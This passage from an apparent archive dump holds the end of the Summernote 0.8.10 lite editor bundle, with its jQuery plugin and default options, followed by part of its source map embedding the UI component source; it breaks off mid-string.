        return function (event) {
            event.preventDefault();
            var $target = $$1(event.target);
            _this.invoke(namespace, value || $target.closest('[data-value]').data('value'), $target);
        };
    };
    Context.prototype.invoke = function () {
        var namespace = lists.head(arguments);
        var args = lists.tail(lists.from(arguments));
        var splits = namespace.split('.');
        var hasSeparator = splits.length > 1;
        var moduleName = hasSeparator && lists.head(splits);
        var methodName = hasSeparator ? lists.last(splits) : lists.head(splits);
        var module = this.modules[moduleName || 'editor'];
        if (!moduleName && this[methodName]) {
            return this[methodName].apply(this, args);
        }
        else if (module && module[methodName] && module.shouldInitialize()) {
            return module[methodName].apply(module, args);
        }
    };
    return Context;
}());

$$1.fn.extend({
    /**
     * Summernote API
     *
     * @param {Object|String}
     * @return {this}
     */
    summernote: function () {
        var type = $$1.type(lists.head(arguments));
        var isExternalAPICalled = type === 'string';
        var hasInitOptions = type === 'object';
        var options = $$1.extend({}, $$1.summernote.options, hasInitOptions ? lists.head(arguments) : {});
        // Update options
        options.langInfo = $$1.extend(true, {}, $$1.summernote.lang['en-US'], $$1.summernote.lang[options.lang]);
        options.icons = $$1.extend(true, {}, $$1.summernote.options.icons, options.icons);
        options.tooltip = options.tooltip === 'auto' ? !env.isSupportTouch : options.tooltip;
        this.each(function (idx, note) {
            var $note = $$1(note);
            if (!$note.data('summernote')) {
                var context = new Context($note, options);
                $note.data('summernote', context);
                $note.data('summernote').triggerEvent('init', context.layoutInfo);
            }
        });
        var $note = this.first();
        if ($note.length) {
            var context = $note.data('summernote');
            if (isExternalAPICalled) {
                return context.invoke.apply(context, lists.from(arguments));
            }
            else if (options.focus) {
                context.invoke('editor.focus');
            }
        }
        return this;
    }
});

$$1.summernote = $$1.extend($$1.summernote, {
    version: '0.8.10',
    ui: ui,
    plugins: {},
    options: {
        modules: {
            'editor': Editor,
            'clipboard': Clipboard,
            'dropzone': Dropzone,
            'codeview': CodeView,
            'statusbar': Statusbar,
            'fullscreen': Fullscreen,
            'handle': Handle,
            // FIXME: HintPopover must be front of autolink
            //  - Script error about range when Enter key is pressed on hint popover
            'hintPopover': HintPopover,
            'autoLink': AutoLink,
            'autoSync': AutoSync,
            'placeholder': Placeholder,
            'buttons': Buttons,
            'toolbar': Toolbar,
            'linkDialog': LinkDialog,
            'linkPopover': LinkPopover,
            'imageDialog': ImageDialog,
            'imagePopover': ImagePopover,
            'tablePopover': TablePopover,
            'videoDialog': VideoDialog,
            'helpDialog': HelpDialog,
            'airPopover': AirPopover
        },
        buttons: {},
        lang: 'en-US',
        followingToolbar: true,
        otherStaticBar: '',
        // toolbar
        toolbar: [
            ['style', ['style']],
            ['font', ['bold', 'underline', 'clear']],
            ['fontname', ['fontname']],
            ['fontsize', ['fontsize']],
            ['color', ['color']],
            ['para', ['ul', 'ol', 'paragraph']],
            ['table', ['table']],
            ['insert', ['link', 'picture', 'video']],
            ['view', ['fullscreen', 'codeview', 'help']]
        ],
        // popover
        popatmouse: true,
        popover: {
            image: [
                ['imagesize', ['imageSize100', 'imageSize50', 'imageSize25']],
                ['float', ['floatLeft', 'floatRight', 'floatNone']],
                ['remove', ['removeMedia']]
            ],
            link: [
                ['link', ['linkDialogShow', 'unlink']]
            ],
            table: [
                ['add', ['addRowDown', 'addRowUp', 'addColLeft', 'addColRight']],
                ['delete', ['deleteRow', 'deleteCol', 'deleteTable']]
            ],
            air: [
                ['color', ['color']],
                ['font', ['bold', 'underline', 'clear']],
                ['para', ['ul', 'paragraph']],
                ['table', ['table']],
                ['insert', ['link', 'picture']]
            ]
        },
        // air mode: inline editor
        airMode: false,
        width: null,
        height: null,
        focus: false,
        tabSize: 4,
        styleWithSpan: true,
        shortcuts: true,
        textareaAutoSync: true,
        hintDirection: 'bottom',
        tooltip: 'auto',
        container: 'body',
        maxTextLength: 0,
        styleTags: ['p', 'pre', 'h1', 'h2', 'h3', 'h4', 'h5', 'h6'],
        fontNames: [
            'Arial', 'Arial Black', 'Comic Sans MS', 'Courier New',
            'Helvetica Neue', 'Helvetica', 'Impact', 'Lucida Grande',
            'Tahoma', 'Times New Roman', 'Verdana'
        ],
        fontSizes: ['8', '9', '10', '11', '12', '14', '18', '24', '36'],
        // pallete colors(n x n)
        colors: [
            ['#000000', '#424242', '#636363', '#9C9C94', '#CEC6CE', '#EFEFEF', '#F7F7F7', '#FFFFFF'],
            ['#FF0000', '#FF9C00', '#FFFF00', '#00FF00', '#00FFFF', '#0000FF', '#9C00FF', '#FF00FF'],
            ['#F7C6CE', '#FFE7CE', '#FFEFC6', '#D6EFD6', '#CEDEE7', '#CEE7F7', '#D6D6E7', '#E7D6DE'],
            ['#E79C9C', '#FFC69C', '#FFE79C', '#B5D6A5', '#A5C6CE', '#9CC6EF', '#B5A5D6', '#D6A5BD'],
            ['#E76363', '#F7AD6B', '#FFD663', '#94BD7B', '#73A5AD', '#6BADDE', '#8C7BC6', '#C67BA5'],
            ['#CE0000', '#E79439', '#EFC631', '#6BA54A', '#4A7B8C', '#3984C6', '#634AA5', '#A54A7B'],
            ['#9C0000', '#B56308', '#BD9400', '#397B21', '#104A5A', '#085294', '#311873', '#731842'],
            ['#630000', '#7B3900', '#846300', '#295218', '#083139', '#003163', '#21104A', '#4A1031']
        ],
        // http://chir.ag/projects/name-that-color/
        colorsName: [
            ['Black', 'Tundora', 'Dove Gray', 'Star Dust', 'Pale Slate', 'Gallery', 'Alabaster', 'White'],
            ['Red', 'Orange Peel', 'Yellow', 'Green', 'Cyan', 'Blue', 'Electric Violet', 'Magenta'],
            ['Azalea', 'Karry', 'Egg White', 'Zanah', 'Botticelli', 'Tropical Blue', 'Mischka', 'Twilight'],
            ['Tonys Pink', 'Peach Orange', 'Cream Brulee', 'Sprout', 'Casper', 'Perano', 'Cold Purple', 'Careys Pink'],
            ['Mandy', 'Rajah', 'Dandelion', 'Olivine', 'Gulf Stream', 'Viking', 'Blue Marguerite', 'Puce'],
            ['Guardsman Red', 'Fire Bush', 'Golden Dream', 'Chelsea Cucumber', 'Smalt Blue', 'Boston Blue', 'Butterfly Bush', 'Cadillac'],
            ['Sangria', 'Mai Tai', 'Buddha Gold', 'Forest Green', 'Eden', 'Venice Blue', 'Meteorite', 'Claret'],
            ['Rosewood', 'Cinnamon', 'Olive', 'Parsley', 'Tiber', 'Midnight Blue', 'Valentino', 'Loulou']
        ],
        lineHeights: ['1.0', '1.2', '1.4', '1.5', '1.6', '1.8', '2.0', '3.0'],
        tableClassName: 'table table-bordered',
        insertTableMaxSize: {
            col: 10,
            row: 10
        },
        dialogsInBody: false,
        dialogsFade: false,
        maximumImageFileSize: null,
        callbacks: {
            onInit: null,
            onFocus: null,
            onBlur: null,
            onBlurCodeview: null,
            onEnter: null,
            onKeyup: null,
            onKeydown: null,
            onSubmit: null,
            onImageUpload: null,
            onImageUploadError: null
        },
        codemirror: {
            mode: 'text/html',
            htmlMode: true,
            lineNumbers: true
        },
        keyMap: {
            pc: {
                'ENTER': 'insertParagraph',
                'CTRL+Z': 'undo',
                'CTRL+Y': 'redo',
                'TAB': 'tab',
                'SHIFT+TAB': 'untab',
                'CTRL+B': 'bold',
                'CTRL+I': 'italic',
                'CTRL+U': 'underline',
                'CTRL+SHIFT+S': 'strikethrough',
                'CTRL+BACKSLASH': 'removeFormat',
                'CTRL+SHIFT+L': 'justifyLeft',
                'CTRL+SHIFT+E': 'justifyCenter',
                'CTRL+SHIFT+R': 'justifyRight',
                'CTRL+SHIFT+J': 'justifyFull',
                'CTRL+SHIFT+NUM7': 'insertUnorderedList',
                'CTRL+SHIFT+NUM8': 'insertOrderedList',
                'CTRL+LEFTBRACKET': 'outdent',
                'CTRL+RIGHTBRACKET': 'indent',
                'CTRL+NUM0': 'formatPara',
                'CTRL+NUM1': 'formatH1',
                'CTRL+NUM2': 'formatH2',
                'CTRL+NUM3': 'formatH3',
                'CTRL+NUM4': 'formatH4',
                'CTRL+NUM5': 'formatH5',
                'CTRL+NUM6': 'formatH6',
                'CTRL+ENTER': 'insertHorizontalRule',
                'CTRL+K': 'linkDialog.show'
            },
            mac: {
                'ENTER': 'insertParagraph',
                'CMD+Z': 'undo',
                'CMD+SHIFT+Z': 'redo',
                'TAB': 'tab',
                'SHIFT+TAB': 'untab',
                'CMD+B': 'bold',
                'CMD+I': 'italic',
                'CMD+U': 'underline',
                'CMD+SHIFT+S': 'strikethrough',
                'CMD+BACKSLASH': 'removeFormat',
                'CMD+SHIFT+L': 'justifyLeft',
                'CMD+SHIFT+E': 'justifyCenter',
                'CMD+SHIFT+R': 'justifyRight',
                'CMD+SHIFT+J': 'justifyFull',
                'CMD+SHIFT+NUM7': 'insertUnorderedList',
                'CMD+SHIFT+NUM8': 'insertOrderedList',
                'CMD+LEFTBRACKET': 'outdent',
                'CMD+RIGHTBRACKET': 'indent',
                'CMD+NUM0': 'formatPara',
                'CMD+NUM1': 'formatH1',
                'CMD+NUM2': 'formatH2',
                'CMD+NUM3': 'formatH3',
                'CMD+NUM4': 'formatH4',
                'CMD+NUM5': 'formatH5',
                'CMD+NUM6': 'formatH6',
                'CMD+ENTER': 'insertHorizontalRule',
                'CMD+K': 'linkDialog.show'
            }
        },
        icons: {
            'align': 'note-icon-align',
            'alignCenter': 'note-icon-align-center',
            'alignJustify': 'note-icon-align-justify',
            'alignLeft': 'note-icon-align-left',
            'alignRight': 'note-icon-align-right',
            'rowBelow': 'note-icon-row-below',
            'colBefore': 'note-icon-col-before',
            'colAfter': 'note-icon-col-after',
            'rowAbove': 'note-icon-row-above',
            'rowRemove': 'note-icon-row-remove',
            'colRemove': 'note-icon-col-remove',
            'indent': 'note-icon-align-indent',
            'outdent': 'note-icon-align-outdent',
            'arrowsAlt': 'note-icon-arrows-alt',
            'bold': 'note-icon-bold',
            'caret': 'note-icon-caret',
            'circle': 'note-icon-circle',
            'close': 'note-icon-close',
            'code': 'note-icon-code',
            'eraser': 'note-icon-eraser',
            'font': 'note-icon-font',
            'frame': 'note-icon-frame',
            'italic': 'note-icon-italic',
            'link': 'note-icon-link',
            'unlink': 'note-icon-chain-broken',
            'magic': 'note-icon-magic',
            'menuCheck': 'note-icon-menu-check',
            'minus': 'note-icon-minus',
            'orderedlist': 'note-icon-orderedlist',
            'pencil': 'note-icon-pencil',
            'picture': 'note-icon-picture',
            'question': 'note-icon-question',
            'redo': 'note-icon-redo',
            'square': 'note-icon-square',
            'strikethrough': 'note-icon-strikethrough',
            'subscript': 'note-icon-subscript',
            'superscript': 'note-icon-superscript',
            'table': 'note-icon-table',
            'textHeight': 'note-icon-text-height',
            'trash': 'note-icon-trash',
            'underline': 'note-icon-underline',
            'undo': 'note-icon-undo',
            'unorderedlist': 'note-icon-unorderedlist',
            'video': 'note-icon-video'
        }
    }
});

})));
//# sourceMappingURL=summernote-lite.js.map
summernote-lite.js.map000064400001650621151677331550011037 0ustar00{"version":3,"file":"summernote-lite.js","sources":["../src/js/base/renderer.js","../src/js/lite/ui/TooltipUI.js","../src/js/lite/ui/DropdownUI.js","../src/js/lite/ui/ModalUI.js","../src/js/lite/ui.js","../src/js/base/summernote-en-US.js","../src/js/base/core/env.js","../src/js/base/core/func.js","../src/js/base/core/lists.js","../src/js/base/core/key.js","../src/js/base/core/dom.js","../src/js/base/core/range.js","../src/js/base/core/async.js","../src/js/base/editing/History.js","../src/js/base/editing/Style.js","../src/js/base/editing/Bullet.js","../src/js/base/editing/Typing.js","../src/js/base/editing/Table.js","../src/js/base/module/Editor.js","../src/js/base/module/Clipboard.js","../src/js/base/module/Dropzone.js","../src/js/base/module/Codeview.js","../src/js/base/module/Statusbar.js","../src/js/base/module/Fullscreen.js","../src/js/base/module/Handle.js","../src/js/base/module/AutoLink.js","../src/js/base/module/AutoSync.js","../src/js/base/module/Placeholder.js","../src/js/base/module/Buttons.js","../src/js/base/module/Toolbar.js","../src/js/base/module/LinkDialog.js","../src/js/base/module/LinkPopover.js","../src/js/base/module/ImageDialog.js","../src/js/base/module/ImagePopover.js","../src/js/base/module/TablePopover.js","../src/js/base/module/VideoDialog.js","../src/js/base/module/HelpDialog.js","../src/js/base/module/AirPopover.js","../src/js/base/module/HintPopover.js","../src/js/base/Context.js","../src/js/summernote.js","../src/js/lite/settings.js"],"sourcesContent":["import $ from 'jquery';\n\nclass Renderer {\n  constructor(markup, children, options, callback) {\n    this.markup = markup;\n    this.children = children;\n    this.options = options;\n    this.callback = callback;\n  }\n\n  render($parent) {\n    const $node = $(this.markup);\n\n    if (this.options && this.options.contents) {\n      $node.html(this.options.contents);\n    }\n\n    if (this.options && this.options.className) {\n      $node.addClass(this.options.className);\n    }\n\n    if (this.options && this.options.data) {\n      $.each(this.options.data, (k, v) => {\n        $node.attr('data-' + k, v);\n      });\n    }\n\n    if (this.options && this.options.click) {\n      $node.on('click', this.options.click);\n    }\n\n    if (this.children) {\n      const $container = $node.find('.note-children-container');\n      this.children.forEach((child) => {\n        child.render($container.length ? $container : $node);\n      });\n    }\n\n    if (this.callback) {\n      this.callback($node, this.options);\n    }\n\n    if (this.options && this.options.callback) {\n      this.options.callback($node);\n    }\n\n    if ($parent) {\n      $parent.append($node);\n    }\n\n    return $node;\n  }\n}\n\nexport default {\n  create: (markup, callback) => {\n    return () => {\n      const options = typeof arguments[1] === 'object' ? arguments[1] : arguments[0];\n      let children = $.isArray(arguments[0]) ? arguments[0] : [];\n      if (options && options.children) {\n        children = options.children;\n      }\n      return new Renderer(markup, children, options, callback);\n    };\n  }\n};\n","class TooltipUI {\n  constructor($node, options) {\n    this.$node = $node;\n    this.options = $.extend({}, {\n      title: '',\n      target: options.container,\n      trigger: 'hover focus',\n      placement: 'bottom'\n    }, options);\n\n    // create tooltip node\n    this.$tooltip = $([\n      '<div class=\"note-tooltip in\">',\n      '  <div class=\"note-tooltip-arrow\"/>',\n      '  <div class=\"note-tooltip-content\"/>',\n      '</div>'\n    ].join(''));\n\n    // define event\n    if (this.options.trigger !== 'manual') {\n      const showCallback = this.show.bind(this);\n      const hideCallback = this.hide.bind(this);\n      const toggleCallback = this.toggle.bind(this);\n\n      this.options.trigger.split(' ').forEach(function(eventName) {\n        if (eventName === 'hover') {\n          $node.off('mouseenter mouseleave');\n          $node.on('mouseenter', showCallback).on('mouseleave', hideCallback);\n        } else if (eventName === 'click') {\n          $node.on('click', toggleCallback);\n        } else if (eventName === 'focus') {\n          $node.on('focus', showCallback).on('blur', hideCallback);\n        }\n      });\n    }\n  }\n\n  show() {\n    const $node = this.$node;\n    const offset = $node.offset();\n\n    const $tooltip = this.$tooltip;\n    const title = this.options.title || $node.attr('title') || $node.data('title');\n    const placement = this.options.placement || $node.data('placement');\n\n    $tooltip.addClass(placement);\n    $tooltip.addClass('in');\n    $tooltip.find('.note-tooltip-content').text(title);\n    $tooltip.appendTo(this.options.target);\n\n    const nodeWidth = $node.outerWidth();\n    const nodeHeight = $node.outerHeight();\n    const tooltipWidth = $tooltip.outerWidth();\n    const tooltipHeight = $tooltip.outerHeight();\n\n    if (placement === 'bottom') {\n      $tooltip.css({\n        top: offset.top + nodeHeight,\n        left: offset.left + (nodeWidth / 2 - tooltipWidth / 2)\n      });\n    } else if (placement === 'top') {\n      $tooltip.css({\n        top: offset.top - tooltipHeight,\n        left: offset.left + (nodeWidth / 2 - tooltipWidth / 2)\n      });\n    } else if (placement === 'left') {\n      $tooltip.css({\n        top: offset.top + (nodeHeight / 2 - tooltipHeight / 2),\n        left: offset.left - tooltipWidth\n      });\n    } else if (placement === 'right') {\n      $tooltip.css({\n        top: offset.top + (nodeHeight / 2 - tooltipHeight / 2),\n        left: offset.left + nodeWidth\n      });\n    }\n  }\n\n  hide() {\n    this.$tooltip.removeClass('in');\n    this.$tooltip.remove();\n  }\n\n  toggle() {\n    if (this.$tooltip.hasClass('in')) {\n      this.hide();\n    } else {\n      this.show();\n    }\n  }\n}\n\nexport default TooltipUI;\n","class DropdownUI {\n  constructor($node, options) {\n    this.$button = $node;\n    this.options = $.extend({}, {\n      target: options.container\n    }, options);\n    this.setEvent();\n  }\n\n  setEvent() {\n    this.$button.on('click', this.toggle.bind(this));\n  }\n\n  clear() {\n    var $parent = $('.note-btn-group.open');\n    $parent.find('.note-btn.active').removeClass('active');\n    $parent.removeClass('open');\n  }\n\n  show() {\n    this.$button.addClass('active');\n    this.$button.parent().addClass('open');\n\n    var $dropdown = this.$button.next();\n    var offset = $dropdown.offset();\n    var width = $dropdown.outerWidth();\n    var windowWidth = $(window).width();\n    var targetMarginRight = parseFloat($(this.options.target).css('margin-right'));\n\n    if (offset.left + width > windowWidth - targetMarginRight) {\n      $dropdown.css('margin-left', windowWidth - targetMarginRight - (offset.left + width));\n    } else {\n      $dropdown.css('margin-left', '');\n    }\n  }\n\n  hide() {\n    this.$button.removeClass('active');\n    this.$button.parent().removeClass('open');\n  }\n\n  toggle() {\n    var isOpened = this.$button.parent().hasClass('open');\n\n    this.clear();\n\n    if (isOpened) {\n      this.hide();\n    } else {\n      this.show();\n    }\n  }\n}\n\n$(document).on('click', function(e) {\n  if (!$(e.target).closest('.note-btn-group').length) {\n    $('.note-btn-group.open').removeClass('open');\n  }\n});\n\n$(document).on('click.note-dropdown-menu', function(e) {\n  $(e.target).closest('.note-dropdown-menu').parent().removeClass('open');\n});\n\nexport default DropdownUI;\n","class ModalUI {\n  constructor($node, options) {\n    this.options = $.extend({}, {\n      target: options.container || 'body'\n    }, options);\n\n    this.$modal = $node;\n    this.$backdrop = $('<div class=\"note-modal-backdrop\" />');\n  }\n\n  show() {\n    if (this.options.target === 'body') {\n      this.$backdrop.css('position', 'fixed');\n      this.$modal.css('position', 'fixed');\n    } else {\n      this.$backdrop.css('position', 'absolute');\n      this.$modal.css('position', 'absolute');\n    }\n\n    this.$backdrop.appendTo(this.options.target).show();\n    this.$modal.appendTo(this.options.target).addClass('open').show();\n\n    this.$modal.trigger('note.modal.show');\n    this.$modal.off('click', '.close').on('click', '.close', this.hide.bind(this));\n  }\n\n  hide() {\n    this.$modal.removeClass('open').hide();\n    this.$backdrop.hide();\n    this.$modal.trigger('note.modal.hide');\n  }\n}\n\nexport default ModalUI;\n","import renderer from '../base/renderer';\nimport TooltipUI from './ui/TooltipUI';\nimport DropdownUI from './ui/DropdownUI';\nimport ModalUI from './ui/ModalUI';\n\nconst editor = renderer.create('<div class=\"note-editor note-frame\"/>');\nconst toolbar = renderer.create('<div class=\"note-toolbar\" role=\"toolbar\"/>');\nconst editingArea = renderer.create('<div class=\"note-editing-area\"/>');\nconst codable = renderer.create('<textarea class=\"note-codable\" role=\"textbox\" aria-multiline=\"true\"/>');\nconst editable = renderer.create('<div class=\"note-editable\" contentEditable=\"true\" role=\"textbox\" aria-multiline=\"true\"/>');\nconst statusbar = renderer.create([\n  '<output class=\"note-status-output\" role=\"status\" aria-live=\"polite\"/>',\n  '<div class=\"note-statusbar\" role=\"resize\">',\n  '  <div class=\"note-resizebar\" role=\"seperator\" aria-orientation=\"horizontal\" aria-label=\"resize\">',\n  '    <div class=\"note-icon-bar\"/>',\n  '    <div class=\"note-icon-bar\"/>',\n  '    <div class=\"note-icon-bar\"/>',\n  '  </div>',\n  '</div>'\n].join(''));\n\nconst airEditor = renderer.create('<div class=\"note-editor\"/>');\nconst airEditable = renderer.create([\n  '<output class=\"note-status-output\" role=\"status\" aria-live=\"polite\"/>',\n  '<div class=\"note-editable\" contentEditable=\"true\" role=\"textbox\" aria-multiline=\"true\"/>'\n].join(''));\n\nconst buttonGroup = renderer.create('<div class=\"note-btn-group\">');\nconst button = renderer.create('<button type=\"button\" class=\"note-btn\" role=\"button\" tabindex=\"-1\">', function($node, options) {\n  // set button type\n  if (options && options.tooltip) {\n    $node.attr({\n      'aria-label': options.tooltip\n    });\n    $node.data('_lite_tooltip', new TooltipUI($node, {\n      title: options.tooltip,\n      container: options.container\n    }));\n  }\n  if (options.contents) {\n    $node.html(options.contents);\n  }\n\n  if (options && options.data && options.data.toggle === 'dropdown') {\n    $node.data('_lite_dropdown', new DropdownUI($node, {\n      container: options.container\n    }));\n  }\n});\n\nconst dropdown = renderer.create('<div class=\"note-dropdown-menu\" role=\"list\">', function($node, options) {\n  const markup = $.isArray(options.items) ? options.items.map(function(item) {\n    const value = (typeof item === 'string') ? item : (item.value || '');\n    const content = options.template ? options.template(item) : item;\n    const $temp = $('<a class=\"note-dropdown-item\" href=\"#\" data-value=\"' + value + '\" role=\"listitem\" aria-label=\"' + item + '\"></a>');\n\n    $temp.html(content).data('item', item);\n\n    return $temp;\n  }) : options.items;\n\n  $node.html(markup).attr({'aria-label': options.title});\n\n  $node.on('click', '> .note-dropdown-item', function(e) {\n    const $a = $(this);\n\n    const item = $a.data('item');\n    const value = $a.data('value');\n\n    if (item.click) {\n      item.click($a);\n    } else if (options.itemClick) {\n      options.itemClick(e, item, value);\n    }\n  });\n});\n\nconst dropdownCheck = renderer.create('<div class=\"note-dropdown-menu note-check\" role=\"list\">', function($node, options) {\n  const markup = $.isArray(options.items) ? options.items.map(function(item) {\n    const value = (typeof item === 'string') ? item : (item.value || '');\n    const content = options.template ? options.template(item) : item;\n\n    const $temp = $('<a class=\"note-dropdown-item\" href=\"#\" data-value=\"' + value + '\" role=\"listitem\" aria-label=\"' + item + '\"></a>');\n    $temp.html([icon(options.checkClassName), ' ', content]).data('item', item);\n    return $temp;\n  }) : options.items;\n\n  $node.html(markup).attr({'aria-label': options.title});\n\n  $node.on('click', '> .note-dropdown-item', function(e) {\n    const $a = $(this);\n\n    const item = $a.data('item');\n    const value = $a.data('value');\n\n    if (item.click) {\n      item.click($a);\n    } else if (options.itemClick) {\n      options.itemClick(e, item, value);\n    }\n  });\n});\n\nconst dropdownButtonContents = function(contents, options) {\n  return contents + ' ' + icon(options.icons.caret, 'span');\n};\n\nconst dropdownButton = function(opt, callback) {\n  return buttonGroup([\n    button({\n      className: 'dropdown-toggle',\n      contents: opt.title + ' ' + icon('note-icon-caret'),\n      tooltip: opt.tooltip,\n      data: {\n        toggle: 'dropdown'\n      }\n    }),\n    dropdown({\n      className: opt.className,\n      items: opt.items,\n      template: opt.template,\n      itemClick: opt.itemClick\n    })\n  ], { callback: callback }).render();\n};\n\nconst dropdownCheckButton = function(opt, callback) {\n  return buttonGroup([\n    button({\n      className: 'dropdown-toggle',\n      contents: opt.title + ' ' + icon('note-icon-caret'),\n      tooltip: opt.tooltip,\n      data: {\n        toggle: 'dropdown'\n      }\n    }),\n    dropdownCheck({\n      className: opt.className,\n      checkClassName: opt.checkClassName,\n      items: opt.items,\n      template: opt.template,\n      itemClick: opt.itemClick\n    })\n  ], { callback: callback }).render();\n};\n\nconst paragraphDropdownButton = function(opt) {\n  return buttonGroup([\n    button({\n      className: 'dropdown-toggle',\n      contents: opt.title + ' ' + icon('note-icon-caret'),\n      tooltip: opt.tooltip,\n      data: {\n        toggle: 'dropdown'\n      }\n    }),\n    dropdown([\n      buttonGroup({\n        className: 'note-align',\n        children: opt.items[0]\n      }),\n      buttonGroup({\n        className: 'note-list',\n        children: opt.items[1]\n      })\n    ])\n  ]).render();\n};\n\nconst tableMoveHandler = function(event, col, row) {\n  const PX_PER_EM = 18;\n  const $picker = $(event.target.parentNode); // target is mousecatcher\n  const $dimensionDisplay = $picker.next();\n  const $catcher = $picker.find('.note-dimension-picker-mousecatcher');\n  const $highlighted = $picker.find('.note-dimension-picker-highlighted');\n  const $unhighlighted = $picker.find('.note-dimension-picker-unhighlighted');\n\n  let posOffset;\n  // HTML5 with jQuery - e.offsetX is undefined in Firefox\n  if (event.offsetX === undefined) {\n    const posCatcher = $(event.target).offset();\n    posOffset = {\n      x: event.pageX - posCatcher.left,\n      y: event.pageY - posCatcher.top\n    };\n  } else {\n    posOffset = {\n      x: event.offsetX,\n      y: event.offsetY\n    };\n  }\n\n  const dim = {\n    c: Math.ceil(posOffset.x / PX_PER_EM) || 1,\n    r: Math.ceil(posOffset.y / PX_PER_EM) || 1\n  };\n\n  $highlighted.css({ width: dim.c + 'em', height: dim.r + 'em' });\n  $catcher.data('value', dim.c + 'x' + dim.r);\n\n  if (dim.c > 3 && dim.c < col) {\n    $unhighlighted.css({ width: dim.c + 1 + 'em' });\n  }\n\n  if (dim.r > 3 && dim.r < row) {\n    $unhighlighted.css({ height: dim.r + 1 + 'em' });\n  }\n\n  $dimensionDisplay.html(dim.c + ' x ' + dim.r);\n};\n\nconst tableDropdownButton = function(opt) {\n  return buttonGroup([\n    button({\n      className: 'dropdown-toggle',\n      contents: opt.title + ' ' + icon('note-icon-caret'),\n      tooltip: opt.tooltip,\n      data: {\n        toggle: 'dropdown'\n      }\n    }),\n    dropdown({\n      className: 'note-table',\n      items: [\n        '<div class=\"note-dimension-picker\">',\n        '  <div class=\"note-dimension-picker-mousecatcher\" data-event=\"insertTable\" data-value=\"1x1\"/>',\n        '  <div class=\"note-dimension-picker-highlighted\"/>',\n        '  <div class=\"note-dimension-picker-unhighlighted\"/>',\n        '</div>',\n        '<div class=\"note-dimension-display\">1 x 1</div>'\n      ].join('')\n    })\n  ], {\n    callback: function($node) {\n      const $catcher = $node.find('.note-dimension-picker-mousecatcher');\n      $catcher.css({\n        width: opt.col + 'em',\n        height: opt.row + 'em'\n      })\n        .mousedown(opt.itemClick)\n        .mousemove(function(e) {\n          tableMoveHandler(e, opt.col, opt.row);\n        });\n    }\n  }).render();\n};\n\nconst palette = renderer.create('<div class=\"note-color-palette\"/>', function($node, options) {\n  const contents = [];\n  for (let row = 0, rowSize = options.colors.length; row < rowSize; row++) {\n    const eventName = options.eventName;\n    const colors = options.colors[row];\n    const colorsName = options.colorsName[row];\n    const buttons = [];\n    for (let col = 0, colSize = colors.length; col < colSize; col++) {\n      const color = colors[col];\n      const colorName = colorsName[col];\n      buttons.push([\n        '<button type=\"button\" class=\"note-btn note-color-btn\"',\n        'style=\"background-color:', color, '\" ',\n        'data-event=\"', eventName, '\" ',\n        'data-value=\"', color, '\" ',\n        'title=\"', colorName, '\" ',\n        'aria-label=\"', colorName, '\" ',\n        'data-toggle=\"button\" tabindex=\"-1\"></button>'\n      ].join(''));\n    }\n    contents.push('<div class=\"note-color-row\">' + buttons.join('') + '</div>');\n  }\n  $node.html(contents.join(''));\n\n  $node.find('.note-color-btn').each(function() {\n    $(this).data('_lite_tooltip', new TooltipUI($(this), {\n      container: options.container\n    }));\n  });\n});\n\nconst colorDropdownButton = function(opt, type) {\n  return buttonGroup({\n    className: 'note-color',\n    children: [\n      button({\n        className: 'note-current-color-button',\n        contents: opt.title,\n        tooltip: opt.lang.color.recent,\n        click: opt.currentClick,\n        callback: function($button) {\n          const $recentColor = $button.find('.note-recent-color');\n\n          if (type !== 'foreColor') {\n            $recentColor.css('background-color', '#FFFF00');\n            $button.attr('data-backColor', '#FFFF00');\n          }\n        }\n      }),\n      button({\n        className: 'dropdown-toggle',\n        contents: icon('note-icon-caret'),\n        tooltip: opt.lang.color.more,\n        data: {\n          toggle: 'dropdown'\n        }\n      }),\n      dropdown({\n        items: [\n          '<div>',\n          '<div class=\"note-btn-group btn-background-color\">',\n          '  <div class=\"note-palette-title\">' + opt.lang.color.background + '</div>',\n          '  <div>',\n          '<button type=\"button\" class=\"note-color-reset note-btn note-btn-block\" ' +\n          ' data-event=\"backColor\" data-value=\"inherit\">',\n          opt.lang.color.transparent,\n          '    </button>',\n          '  </div>',\n          '  <div class=\"note-holder\" data-event=\"backColor\"/>',\n          '</div>',\n          '<div class=\"note-btn-group btn-foreground-color\">',\n          '  <div class=\"note-palette-title\">' + opt.lang.color.foreground + '</div>',\n          '  <div>',\n          '<button type=\"button\" class=\"note-color-reset note-btn note-btn-block\" ' +\n          ' data-event=\"removeFormat\" data-value=\"foreColor\">',\n          opt.lang.color.resetToDefault,\n          '    </button>',\n          '  </div>',\n          '  <div class=\"note-holder\" data-event=\"foreColor\"/>',\n          '</div>',\n          '</div>'\n        ].join(''),\n        callback: function($dropdown) {\n          $dropdown.find('.note-holder').each(function() {\n            const $holder = $(this);\n            $holder.append(palette({\n              colors: opt.colors,\n              eventName: $holder.data('event')\n            }).render());\n          });\n\n          if (type === 'fore') {\n            $dropdown.find('.btn-background-color').hide();\n            $dropdown.css({ 'min-width': '210px' });\n          } else if (type === 'back') {\n            $dropdown.find('.btn-foreground-color').hide();\n            $dropdown.css({ 'min-width': '210px' });\n          }\n        },\n        click: function(event) {\n          const $button = $(event.target);\n          const eventName = $button.data('event');\n          const value = $button.data('value');\n\n          if (eventName && value) {\n            const key = eventName === 'backColor' ? 'background-color' : 'color';\n            const $color = $button.closest('.note-color').find('.note-recent-color');\n            const $currentButton = $button.closest('.note-color').find('.note-current-color-button');\n\n            $color.css(key, value);\n            $currentButton.attr('data-' + eventName, value);\n\n            if (type === 'fore') {\n              opt.itemClick('foreColor', value);\n            } else if (type === 'back') {\n              opt.itemClick('backColor', value);\n            } else {\n              opt.itemClick(eventName, value);\n            }\n          }\n        }\n      })\n    ]\n  }).render();\n};\n\nconst dialog = renderer.create('<div class=\"note-modal\" aria-hidden=\"false\" tabindex=\"-1\" role=\"dialog\"/>', function($node, options) {\n  if (options.fade) {\n    $node.addClass('fade');\n  }\n  $node.attr({\n    'aria-label': options.title\n  });\n  $node.html([\n    '  <div class=\"note-modal-content\">',\n    (options.title\n      ? '    <div class=\"note-modal-header\">' +\n    '      <button type=\"button\" class=\"close\" aria-label=\"Close\" aria-hidden=\"true\"><i class=\"note-icon-close\"></i></button>' +\n    '      <h4 class=\"note-modal-title\">' + options.title + '</h4>' +\n    '    </div>' : ''\n    ),\n    '    <div class=\"note-modal-body\">' + options.body + '</div>',\n    (options.footer\n      ? '    <div class=\"note-modal-footer\">' + options.footer + '</div>' : ''\n    ),\n    '  </div>'\n  ].join(''));\n\n  $node.data('modal', new ModalUI($node, options));\n});\n\nconst videoDialog = 